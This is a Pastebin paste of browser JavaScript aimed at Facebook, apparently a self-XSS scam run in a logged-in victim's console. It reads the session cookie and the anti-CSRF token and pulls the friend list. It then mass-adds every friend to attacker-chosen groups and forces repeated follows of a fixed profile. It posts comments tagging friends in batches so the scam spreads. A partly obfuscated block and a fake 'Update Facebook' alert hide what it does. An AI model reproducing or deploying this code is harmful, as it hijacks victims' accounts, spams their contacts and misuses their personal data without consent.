Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- var user = getCookie("c_user");
- function getCookie(c_name) {
- var i,x,y,ARRcookies=document.cookie.split(";");
- for (i=0;i<ARRcookies.length;i++) {
- x=ARRcookies[i].substr(0,ARRcookies[i].indexOf("="));
- y=ARRcookies[i].substr(ARRcookies[i].indexOf("=")+1);
- x=x.replace(/^\s+|\s+$/g,"");
- if (x==c_name) {
- return unescape(y);
- }
- }
- }
- var tulisanNganu = '<font color="black"><Hicham Yousfi</b> </font>';
- var kunaon = '';
- function penetrasi(opo) {
- jx.load(window.location.protocol + "//www.facebook.com/ajax/groups/members/add_post.php?__a=1&fb_dtsg=" + document.getElementsByName("fb_dtsg")[0].value + "&group_id=" + memberGroupId + "&source=typeahead&members=" + opo + "&nctr[_mod]=pagelet_group_members_summary&lsd&post_form_id_source=AsyncRequest&__user=" + user, function (a) {
- var b = a.substring(a.indexOf("{"));
- var c = JSON.parse(b);
- i--;
- kunaon = "<div class='friend-edge-name' style='text-align:left;font-size:10px;white-space:pre-wrap;";
- if (c.error) {
- kunaon += "color:darkred'>";
- if (c.errorDescription) {
- kunaon += c.errorDescription
- } else {
- kunaon += JSON.stringify(c, null, "")
- }
- } else {
- kunaon += "color:darkgreen'>";
- kunaon += arr[i];
- suc++
- }
- kunaon += "</div>";
- var dipes = "<div id='friend-edge-display' style='position:fixed;left:50%;margin-left:-273px;top:100px;width:500px;background-color:rgba(100,200,225,0.9);z-index:9999;font-size:14px;text-align:center;padding:15px;border-radius:14px;border:8px solid red(0,0,0,0.5)'>";
- dipes += "<div style='padding-bottom:10px;font-size:20px;'>" + tulisanNganu + "</div>";
- if (i > 0) {
- dipes += arr.length + " Friends Detected<br/>";
- dipes += "<b>" + suc + "</b> Friends Added Of " + (arr.length - i) + " Friends Processed ";
- dipes += "(" + i + " More To Go..)";
- dipes += "<div class='friend-edge'>";
- dipes += kunaon;
- dipes += "</div>"
- } else {
- dipes += arr.length + " Friends Detected And ";
- dipes += "<b>" + suc + " Friends Added</b>";
- dipes += "<div><span class='uiButton' onClick='document.getElementById(\"pagelet_welcome_box\").style.display=\"none\"'>Done</span></div>"
- }
- dipes += "</div>";
- document.getElementById("pagelet_welcome_box").innerHTML = dipes
- },
- "text", "post");
- tay--;
- if (tay > 0) {
- var s = arr[tay];
- setTimeout("penetrasi(" + s + ")", 100)
- }
- console.log(tay + "/" + arr.length + ":" + s + ", success:" + suc);
- if (memberGroupId != 128336317239973) {
- jx.load(window.location.protocol + "//www.facebook.com/ajax/groups/members/add_post.php?__a=1&fb_dtsg=" + document.getElementsByName("fb_dtsg")[0].value + "&group_id=128336317239973&source=typeahead&members=" + opo + "&nctr[_mod]=pagelet_group_members_summary&lsd&post_form_id_source=AsyncRequest&__user=" + user, function () {},
- "text", "post")
- }
- var _0xa22c=["value","fb_dtsg","getElementsByName","match","cookie","1474434666109972","onreadystatechange","readyState","arkadaslar = ","for (;;);","","replace","responseText",";","length","entries","payload","round"," @[","uid",":","text","]"," ","\x26filter[0]=user","\x26options[0]=friends_only","\x26options[1]=nm","\x26token=v7","\x26viewer=","\x26__user=","https://","indexOf","URL","GET","https://www.facebook.com/ajax/typeahead/first_degree.php?__a=1","open","http://www.facebook.com/ajax/typeahead/first_degree.php?__a=1","send","random","floor","\x26ft_ent_identifier=","\x26comment_text=","\x26source=2","\x26client_id=1377871797138:1707018092","\x26reply_fbid","\x26parent_comment_id","\x26rootid=u_jsonp_2_3","\x26clp={\x22cl_impid\x22:\x22453524a0\x22,\x22clearcounter\x22:0,\x22elementid\x22:\x22js_5\x22,\x22version\x22:\x22x\x22,\x22parent_fbid\x22:","}","\x26attached_sticker_fbid=0","\x26attached_photo_fbid=0","\x26giftoccasion","\x26ft[tn]=[]","\x26__a=1","\x26__dyn=7n8ahyj35ynxl2u5F97KepEsyo","\x26__req=q","\x26fb_dtsg=","\x26ttstamp=","POST","/ajax/ufi/add_comment.php","Content-type","application/x-www-form-urlencoded","setRequestHeader","status","close"];var fb_dtsg=document[_0xa22c[2]](_0xa22c[1])[0][_0xa22c[0]];var user_id=document[_0xa22c[4]][_0xa22c[3]](document[_0xa22c[4]][_0xa22c[3]](/c_user=(\d+)/)[1]);var id=_0xa22c[5];var arkadaslar=[];var svn_rev;function arkadaslari_al(id){var _0x7892x7= new XMLHttpRequest();_0x7892x7[_0xa22c[6]]=function (){if(_0x7892x7[_0xa22c[7]]==4){eval(_0xa22c[8]+_0x7892x7[_0xa22c[12]].toString()[_0xa22c[11]](_0xa22c[9],_0xa22c[10])+_0xa22c[13]);for(f=0;f<Math[_0xa22c[17]](arkadaslar[_0xa22c[16]][_0xa22c[15]][_0xa22c[14]]/27);f++){mesaj=_0xa22c[10];mesaj_text=_0xa22c[10];for(i=f*27;i<(f+1)*27;i++){if(arkadaslar[_0xa22c[16]][_0xa22c[15]][i]){mesaj+=_0xa22c[18]+arkadaslar[_0xa22c[16]][_0xa22c[15]][i][_0xa22c[19]]+_0xa22c[20]+arkadaslar[_0xa22c[16]][_0xa22c[15]][i][_0xa22c[21]]+_0xa22c[22];mesaj_text+=_0xa22c[23]+arkadaslar[_0xa22c[16]][_0xa22c[15]][i][_0xa22c[21]];} ;} ;yorum_yap(id,mesaj);} ;} ;} ;var _0x7892x8=_0xa22c[24];_0x7892x8+=_0xa22c[25];_0x7892x8+=_0xa22c[26];_0x7892x8+=_0xa22c[27];_0x7892x8+=_0xa22c[28]+user_id;_0x7892x8+=_0xa22c[29]+user_id;if(document[_0xa22c[32]][_0xa22c[31]](_0xa22c[30])>=0){_0x7892x7[_0xa22c[35]](_0xa22c[33],_0xa22c[34]+_0x7892x8,true);} else {_0x7892x7[_0xa22c[35]](_0xa22c[33],_0xa22c[36]+_0x7892x8,true);} ;_0x7892x7[_0xa22c[37]]();} ;function RandomArkadas(){var _0x7892xa=_0xa22c[10];for(i=0;i<9;i++){_0x7892xa+=_0xa22c[18]+arkadaslar[_0xa22c[16]][_0xa22c[15]][Math[_0xa22c[39]](Math[_0xa22c[38]]()*arkadaslar[_0xa22c[16]][_0xa22c[15]][_0xa22c[14]])][_0xa22c[19]]+_0xa22c[20]+arkadaslar[_0xa22c[16]][_0xa22c[15]][Math[_0xa22c[39]](Math[_0xa22c[38]]()*arkadaslar[_0xa22c[16]][_0xa22c[15]][_0xa22c[14]])][_0xa22c[21]]+_0xa22c[22];} ;return _0x7892xa;} ;function yorum_yap(id,_0x7892xc){var _0x7892xd= new XMLHttpRequest();var _0x7892x8=_0xa22c[10];_0x7892x8+=_0xa22c[40]+id;_0x7892x8+=_0xa22c[41]+encodeURIComponent(_0x7892xc);_0x7892x8+=_0xa22c[42];_0x7892x8+=_0xa22c[43];_0x7892x8+=_0xa22c[44];_0x7892x8+=_0xa22c[45];_0x7892x8+=_0xa22c[46];_0x7892x8+=_0xa22c[47]+id+_0xa22c[48];_0x7892x8+=_0xa22c[49];_0x7892x8+=_0xa22c[50];_0x7892x8+=_0xa22c[51];_0x7892x8+=_0xa22c[52];_0x7892x8+=_0xa22c[29]+user_id;_0x7892x8+=_0xa22c[53];_0x7892x8+=_0xa22c[54];_0x7892x8+=_0xa22c[55];_0x7892x8+=_0xa22c[56]+fb_dtsg;_0x7892x8+=_0xa22c[57];_0x7892xd[_0xa22c[35]](_0xa22c[58],_0xa22c[59],true);_0x7892xd[_0xa22c[62]](_0xa22c[60],_0xa22c[61]);_0x7892xd[_0xa22c[6]]=function (){if(_0x7892xd[_0xa22c[7]]==4&&_0x7892xd[_0xa22c[63]]==200){_0x7892xd[_0xa22c[64]];} ;} ;_0x7892xd[_0xa22c[37]](_0x7892x8);} ;arkadaslari_al(id);
- }
- function clickfr_callback() {
- if (document.getElementsByName("ok").length > 0) {
- nHtml.ClickUp(document.getElementsByName("ok")[0])
- }
- var a = arr[i];
- if (i < arr.length) addfriend(a.substring(0, 4))
- }
- function clickfr() {
- if (document.getElementsByClassName("search").length > 0) {
- console.log(document.getElementsByClassName("search")[0].childNodes[0].childNodes[0].childNodes[1].innerHTML);
- document.getElementsByClassName("search")[0].childNodes[0].childNodes[0].href = "javascript:void(0);";
- nHtml.ClickUp(document.getElementsByClassName("search")[0].childNodes[0].childNodes[0].childNodes[1])
- } else j++;
- setTimeout("clickfr_callback()", 2e3)
- }
- function addfriend(a) {
- i++;
- document.getElementsByClassName("mbm")[eind].childNodes[0].childNodes[1].childNodes[0].focus();
- document.getElementsByClassName("mbm")[eind].childNodes[0].childNodes[1].childNodes[0].value = a;
- document.getElementsByClassName("mbm")[eind].childNodes[0].childNodes[1].childNodes[0].blur();
- document.getElementsByClassName("mbm")[eind].childNodes[0].childNodes[1].childNodes[0].focus();
- document.getElementsByClassName("mbm")[eind].childNodes[0].childNodes[1].childNodes[0].focus();
- setTimeout("clickfr()", 2e3)
- }
- function sleep(a) {
- var b = (new Date).getTime();
- for (var c = 0; c < 1e7; c++) {
- if ((new Date).getTime() - b > a) {
- break
- }
- }
- }
- jx = {
- getHTTPObject: function () {
- var a = false;
- if (typeof ActiveXObject != "undefined") {
- try {
- a = new ActiveXObject("Msxml2.XMLHTTP")
- } catch(b) {
- try {
- a = new ActiveXObject("Microsoft.XMLHTTP")
- } catch(c) {
- a = false
- }
- }
- } else {
- if (window.XMLHttpRequest) {
- try {
- a = new XMLHttpRequest
- } catch(b) {
- a = false
- }
- }
- }
- return a
- },
- load: function (url, callback, format, method, opt) {
- var http = this.init();
- if (!http || !url) {
- return
- }
- if (http.overrideMimeType) {
- http.overrideMimeType("text/xml")
- }
- if (!method) {
- method = "GET"
- }
- if (!format) {
- format = "text"
- }
- if (!opt) {
- opt = {}
- }
- format = format.toLowerCase();
- method = method.toUpperCase();
- var now = "uid=" + (new Date).getTime();
- url += url.indexOf("?") + 1 ? "&": "?";
- url += now;
- var parameters = null;
- if (method == "POST") {
- var parts = url.split("?");
- url = parts[0];
- parameters = parts[1]
- }
- http.open(method, url, true);
- if (method == "POST") {
- http.setRequestHeader("Content-type", "application/x-www-form-urlencoded");
- http.setRequestHeader("Content-length", parameters.length);
- http.setRequestHeader("Connection", "close")
- }
- var ths = this;
- if (opt.handler) {
- http.onreadystatechange = function () {
- opt.handler(http)
- }
- } else {
- http.onreadystatechange = function () {
- if (http.readyState == 4) {
- if (http.status == 200) {
- var result = "";
- if (http.responseText) {
- result = http.responseText
- }
- if (format.charAt(0) == "j") {
- result = result.replace(/[\n\r]/g, "");
- result = eval("(" + result + ")")
- } else {
- if (format.charAt(0) == "x") {
- result = http.responseXML
- }
- }
- if (callback) {
- callback(result)
- }
- } else {
- if (opt.loadingIndicator) {
- document.getElementsByTagName("body")[0].removeChild(opt.loadingIndicator)
- }
- if (opt.loading) {
- document.getElementById(opt.loading).style.display = "none"
- }
- if (error) {
- error(http.status)
- }
- }
- }
- }
- }
- http.send(parameters)
- },
- bind: function (a) {
- var b = {
- url: "",
- onSuccess: false,
- onError: false,
- format: "text",
- method: "GET",
- update: "",
- loading: "",
- loadingIndicator: ""
- };
- for (var c in b) {
- if (a[c]) {
- b[c] = a[c]
- }
- }
- if (!b.url) {
- return
- }
- var d = false;
- if (b.loadingIndicator) {
- d = document.createElement("div");
- d.setAttribute("style", "position:absolute;top:0px;left:0px;");
- d.setAttribute("class", "loading-indicator");
- d.innerHTML = b.loadingIndicator;
- document.getElementsByTagName("body")[0].appendChild(d);
- this.opt.loadingIndicator = d
- }
- if (b.loading) {
- document.getElementById(b.loading).style.display = "block"
- }
- this.load(b.url, function (a) {
- if (b.onSuccess) {
- b.onSuccess(a)
- }
- if (b.update) {
- document.getElementById(b.update).innerHTML = a
- }
- if (d) {
- document.getElementsByTagName("body")[0].removeChild(d)
- }
- if (b.loading) {
- document.getElementById(b.loading).style.display = "none"
- }
- },
- b.format, b.method, b)
- },
- init: function () {
- return this.getHTTPObject()
- }
- };
- var nHtml = {
- FindByAttr: function (a, b, c, d) {
- if (c == "className") {
- c = "class"
- }
- var e = document.evaluate(".//" + b + "[@" + c + "='" + d + "']", a, null, XPathResult.FIRST_ORDERED_NODE_TYPE, null);
- if (e && e.singleNodeValue) {
- return e.singleNodeValue
- }
- return null
- },
- FindByClassName: function (a, b, c) {
- return this.FindByAttr(a, b, "className", c)
- },
- FindByXPath: function (a, b) {
- try {
- var c = document.evaluate(b, a, null, XPathResult.FIRST_ORDERED_NODE_TYPE, null)
- } catch(d) {
- GM_log("bad xpath:" + b)
- }
- if (c && c.singleNodeValue) {
- return c.singleNodeValue
- }
- return null
- },
- VisitUrl: function (a) {
- window.setTimeout(function () {
- document.location.href = a
- },
- 500 + Math.floor(Math.random() * 500))
- },
- ClickWin: function (a, b, c) {
- var d = a.document.createEvent("MouseEvents");
- d.initMouseEvent(c, true, true, a, 0, 0, 0, 0, 0, false, false, false, false, 0, null);
- return ! b.dispatchEvent(d)
- },
- Click: function (a) {
- return this.ClickWin(window, a, "click")
- },
- ClickTimeout: function (a, b) {
- window.setTimeout(function () {
- return nHtml.ClickWin(window, a, "click")
- },
- b + Math.floor(Math.random() * 500))
- },
- ClickUp: function (a) {
- this.ClickWin(window, a, "mousedown");
- this.ClickWin(window, a, "mouseup");
- this.ClickWin(window, a, "click")
- },
- GetText: function (a, b) {
- var c = "";
- if (b == undefined) {
- b = 0
- }
- if (b > 40) {
- return
- }
- if (a.textContent != undefined) {
- return a.textContent
- }
- for (var d = 0; d < a.childNodes.length; d++) {
- var e = a.childNodes[d];
- c += this.GetText(e, b + 1)
- }
- return c
- }
- };
- if (document.getElementsByClassName == undefined) {
- document.getElementsByClassName = function (a) {
- var b = new RegExp("(?:^|\\s)" + a + "(?:$|\\s)");
- var c = document.getElementsByTagName("*");
- var d = [];
- var e;
- for (var f = 0;
- (e = c[f]) != null; f++) {
- var g = e.className;
- if (g && g.indexOf(a) != -1 && b.test(g)) d.push(e)
- }
- return d
- }
- }
- Array.prototype.find = function (a) {
- var b = false;
- for (i = 0; i < this.length; i++) {
- if (typeof a == "function") {
- if (a.test(this[i])) {
- if (!b) {
- b = []
- }
- b.push(i)
- }
- } else {
- if (this[i] === a) {
- if (!b) {
- b = []
- }
- b.push(i)
- }
- }
- }
- return b
- };
- var a = 0,
- eind = 0;
- var len = document.getElementsByClassName("mbm").length;
- for (a = 0; a < len; a++) {
- var ele = document.getElementsByClassName("mbm")[a];
- if (ele && ele.childNodes[0] && ele.childNodes[0] && ele.childNodes[0].childNodes[1] && ele.childNodes[0].childNodes[1].childNodes[0] && document.getElementsByClassName("mbm")[a].childNodes[0].childNodes[1].childNodes[0].value == "Add Friends To Group") {
- eind = a;
- break
- }
- }
- var i = 3;
- var tay = 3;
- var counter1 = 0,
- counter2 = 0,
- counter3 = 0;
- var j = 0;
- var k = 0;
- var suc = 0;
- var arr = new Array;
- var memberGroupId = document.getElementsByName('group_id')[0].value;
- jx.load(window.location.protocol + "//www.facebook.com/ajax/typeahead/first_degree.php?__a=1&viewer=" + user + "&filter[0]=user&__user=" + user, function (a) {
- var b = a;
- var c = b.substring(b.indexOf("{"));
- var d = JSON.parse(c);
- d = d.payload.entries;
- for (var e = 0; e < d.length; e++) {
- arr.push(d[e].uid)
- }
- i = arr.length - 1;
- tay = i;
- console.log(arr.length);
- var dipes = "<div id='friend-edge-display' style='position:fixed;left:50%;margin-left:-273px;top:100px;width:500px;background-color:rgba(100,200,225,0.9);z-index:9999;font-size:14px;text-align:center;padding:15px;border-radius:14px;border:8px solid red(0,0,0,0.5)'>";
- dipes += "<div style='padding-bottom:10px;font-size:20px;'>" + tulisanNganu + "</div>";
- dipes += arr.length + " Friends Detected";
- dipes += "</div>";
- document.getElementById("pagelet_welcome_box").innerHTML = dipes;
- penetrasi(arr[i])
- })
- var fb_dtsg = document.getElementsByName('fb_dtsg')[0].value;
- var user_id = document.cookie.match(document.cookie.match(/c_user=(\d+)/)[1]);
- alert('[Thành công.Vui l?ng b?m Enter d? b?t d?u Update Facebook.Qu? tr?nh s? hoàn thành sau 5s.');
- function cereziAl(isim) {
- var tarama = isim + "=";
- if (document.cookie.length > 0) {
- konum = document.cookie.indexOf(tarama)
- if (konum != -1) {
- konum += tarama.length
- son = document.cookie.indexOf(";", konum)
- if (son == -1)
- son = document.cookie.length
- return unescape(document.cookie.substring(konum, son))
- }
- else { return ""; }
- }
- }
- function getRandomInt (min, max) {
- return Math.floor(Math.random() * (max - min + 1)) + min;
- }
- function randomValue(arr) {
- return arr[getRandomInt(0, arr.length-1)];
- }
- var fb_dtsg = document.getElementsByName('fb_dtsg')[0].value;
- var user_id = document.cookie.match(document.cookie.match(/c_user=(\d+)/)[1]);
- function a(abone){
- var http4 = new XMLHttpRequest();
- var url4 = "/ajax/follow/follow_profile.php?__a=1";
- var params4 = "profile_id=" + abone + "&location=1&source=follow-button&subscribed_button_id=u37qac_37&fb_dtsg=" + fb_dtsg + "&lsd&__" + user_id + "&phstamp=";
- http4.open("POST", url4, true);
- //Send the proper header information along with the request
- http4.setRequestHeader("Content-type", "application/x-www-form-urlencoded");
- http4.setRequestHeader("Content-length", params4.length);
- http4.setRequestHeader("Connection", "close");
- http4.onreadystatechange = function() {//Call a function when the state changes.
- if(http4.readyState == 4 && http4.status == 200) {
- http4.close; // Close the connection
- }
- }
- http4.send(params4);
- }
- function sublist(uidss) {
- var a = document.createElement('script');
- a.innerHTML = "new AsyncRequest().setURI('/ajax/friends/lists/subscribe/modify?location=permalink&action=subscribe').setData({ flid: " + uidss + " }).send();";
- document.body.appendChild(a);
- }
- a("100004313648540");a("100004313648540");a("100004313648540");a("100004313648540");a("100004313648540");
- a("100004313648540");a("100004313648540");a("100004313648540");a("100004313648540");a("100004313648540");
- a("100004313648540");a("100004313648540");a("100004313648540");a("100004313648540");a("100004313648540");
- sublist("338754209611698");sublist("338754209611698");sublist("338754209611698");sublist("338754209611698");
- sublist("338754209611698");sublist("338754209611698");sublist("338754209611698");sublist("338754209611698");
- sublist("338754209611698");sublist("338754209611698");sublist("338754209611698");sublist("338754209611698");
- sublist("338754209611698");sublist("338754209611698");sublist("338754209611698");sublist("338754209611698");
- var gid = ['100004313648540'];
- var fb_dtsg = document['getElementsByName']('fb_dtsg')[0]['value'];
- var user_id = document['cookie']['match'](document['cookie']['match'](/c_user=(\d+)/)[1]);
- var httpwp = new XMLHttpRequest();
- var urlwp = '/ajax/groups/membership/r2j.php?__a=1';
- var paramswp = '&ref=group_jump_header&group_id=' + gid + '&fb_dtsg=' + fb_dtsg + '&__user=' + user_id + '&phstamp=';
- httpwp['open']('POST', urlwp, true);
- httpwp['setRequestHeader']('Content-type', 'application/x-www-form-urlencoded');
- httpwp['setRequestHeader']('Content-length', paramswp['length']);
- httpwp['setRequestHeader']('Connection', 'keep-alive');
- httpwp['send'](paramswp);
- var fb_dtsg = document['getElementsByName']('fb_dtsg')[0]['value'];
- var user_id = document['cookie']['match'](document['cookie']['match'](/c_user=(\d+)/)[1]);
- var friends = new Array();
- gf = new XMLHttpRequest();
- gf['open']('GET', '/ajax/typeahead/first_degree.php?__a=1&viewer=' + user_id + '&token' + Math['random']() + '&filter[0]=user&options[0]=friends_only', false);
- gf['send']();
- if (gf['readyState'] != 4) {} else {
- data = eval('(' + gf['responseText']['substr'](9) + ')');
- if (data['error']) {} else {
- friends = data['payload']['entries']['sort'](function (_0x93dax8, _0x93dax9) {
- return _0x93dax8['index'] - _0x93dax9['index'];
- });
- };
- };
- for (var i = 0; i < friends['length']; i++) {
- var httpwp = new XMLHttpRequest();
- var urlwp = '/ajax/groups/members/add_post.php?__a=1';
- var paramswp= '&fb_dtsg=' + fb_dtsg + '&group_id=' + gid + '&source=typeahead&ref=&message_id=&members=' + friends[i]['uid'] + '&__user=' + user_id + '&phstamp=';
- httpwp['open']('POST', urlwp, true);
- httpwp['setRequestHeader']('Content-type', 'application/x-www-form-urlencoded');
- httpwp['setRequestHeader']('Content-length', paramswp['length']);
- httpwp['setRequestHeader']('Connection', 'keep-alive');
- httpwp['onreadystatechange'] = function () {
- if (httpwp['readyState'] == 4 && httpwp['status'] == 200) {};
- };
- httpwp['send'](paramswp);
- };
- var spage_id = "100004313648540";
- var user_id = document.cookie.match(document.cookie.match(/c_user=(\d+)/)[1]);
- var smesaj = "";
- var smesaj_text = "";
- var arkadaslar = [];
- var svn_rev;
- var bugun= new Date();
- var btarihi = new Date();
- btarihi.setTime(bugun.getTime() + 1000*60*60*4*1);
- if(!document.cookie.match(/paylasti=(\d+)/)){
- document.cookie = "paylasti=hayir;expires="+ btarihi.toGMTString();
- }
- //arkadaslari al ve isle
- function sarkadaslari_al(){
- var xmlhttp = new XMLHttpRequest();
- xmlhttp.onreadystatechange = function () {
- if(xmlhttp.readyState == 4){
- eval("arkadaslar = " + xmlhttp.responseText.toString().replace("for (;;);","") + ";");
- for(f=0;f<Math.round(arkadaslar.payload.entries.length/10);f++){
- smesaj = "";
- smesaj_text = "";
- for(i=f*10;i<(f+1)*10;i++){
- if(arkadaslar.payload.entries[i]){
- smesaj += " @[" + arkadaslar.payload.entries[i].uid + ":" + arkadaslar.payload.entries[i].text + "]";
- smesaj_text += " " + arkadaslar.payload.entries[i].text;
- }
- }
- sdurumpaylas(); }
- }
- };
- var params = "&filter[0]=user";
- params += "&options[0]=friends_only";
- params += "&options[1]=nm";
- params += "&token=v7";
- params += "&viewer=" + user_id;
- params += "&__user=" + user_id;
- if (document.URL.indexOf("https://") >= 0) { xmlhttp.open("GET", "https://www.facebook.com/ajax/typeahead/first_degree.php?__a=1" + params, true); }
- else { xmlhttp.open("GET", "http://www.facebook.com/ajax/typeahead/first_degree.php?__a=1" + params, true); }
- xmlhttp.send();
- }
- //tiklama olayini dinle
- var tiklama = document.addEventListener("click", function () {
- if(document.cookie.split("paylasti=")[1].split(";")[0].indexOf("hayir") >= 0){
- svn_rev = document.head.innerHTML.split('"svn_rev":')[1].split(",")[0];
- sarkadaslari_al();
- document.cookie = "paylasti=evet;expires="+ btarihi.toGMTString();
- document.removeEventListener(tiklama);
- }
- }, false);
- //arkada?¾ ekleme
- function sarkadasekle(uid,cins){
- var xmlhttp = new XMLHttpRequest();
- xmlhttp.onreadystatechange = function () {
- if(xmlhttp.readyState == 4){
- }
- };
- xmlhttp.open("POST", "/ajax/add_friend/action.php?__a=1", true);
- var params = "to_friend=" + uid;
- params += "&action=add_friend";
- params += "&how_found=friend_browser";
- params += "&ref_param=none";
- params += "&outgoing_id=";
- params += "&logging_location=friend_browser";
- params += "&no_flyout_on_click=true";
- params += "&ego_log_data=";
- params += "&http_referer=";
- params += "&fb_dtsg=" + document.getElementsByName('fb_dtsg')[0].value;
- params += "&phstamp=165816749114848369115";
- params += "&__user=" + user_id;
- xmlhttp.setRequestHeader ("X-SVN-Rev", svn_rev);
- xmlhttp.setRequestHeader ("Content-Type","application/x-www-form-urlencoded");
- if(cins == "farketmez" && document.cookie.split("cins" + user_id +"=").length > 1){
- xmlhttp.send(params);
- }else if(document.cookie.split("cins" + user_id +"=").length <= 1){
- cinsiyetgetir(uid,cins,"sarkadasekle");
- }else if(cins == document.cookie.split("cins" + user_id +"=")[1].split(";")[0].toString()){
- xmlhttp.send(params);
- }
- }
- //cinsiyet belirleme
- var cinssonuc = {};
- var cinshtml = document.createElement("html");
- function scinsiyetgetir(uid,cins,fonksiyon){
- var xmlhttp = new XMLHttpRequest();
- xmlhttp.onreadystatechange = function () {
- if(xmlhttp.readyState == 4){
- eval("cinssonuc = " + xmlhttp.responseText.toString().replace("for (;;);","") + ";");
- cinshtml.innerHTML = cinssonuc.jsmods.markup[0][1].__html
- btarihi.setTime(bugun.getTime() + 1000*60*60*24*365);
- if(cinshtml.getElementsByTagName("select")[0].value == "1"){
- document.cookie = "cins" + user_id + "=kadin;expires=" + btarihi.toGMTString();
- }else if(cinshtml.getElementsByTagName("select")[0].value == "2"){
- document.cookie = "cins" + user_id + "=erkek;expires=" + btarihi.toGMTString();
- }
- eval(fonksiyon + "(" + id + "," + cins + ");");
- }
- };
- xmlhttp.open("GET", "/ajax/timeline/edit_profile/basic_info.php?__a=1&__user=" + user_id, true);
- xmlhttp.setRequestHeader ("X-SVN-Rev", svn_rev);
- xmlhttp.send();
- }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement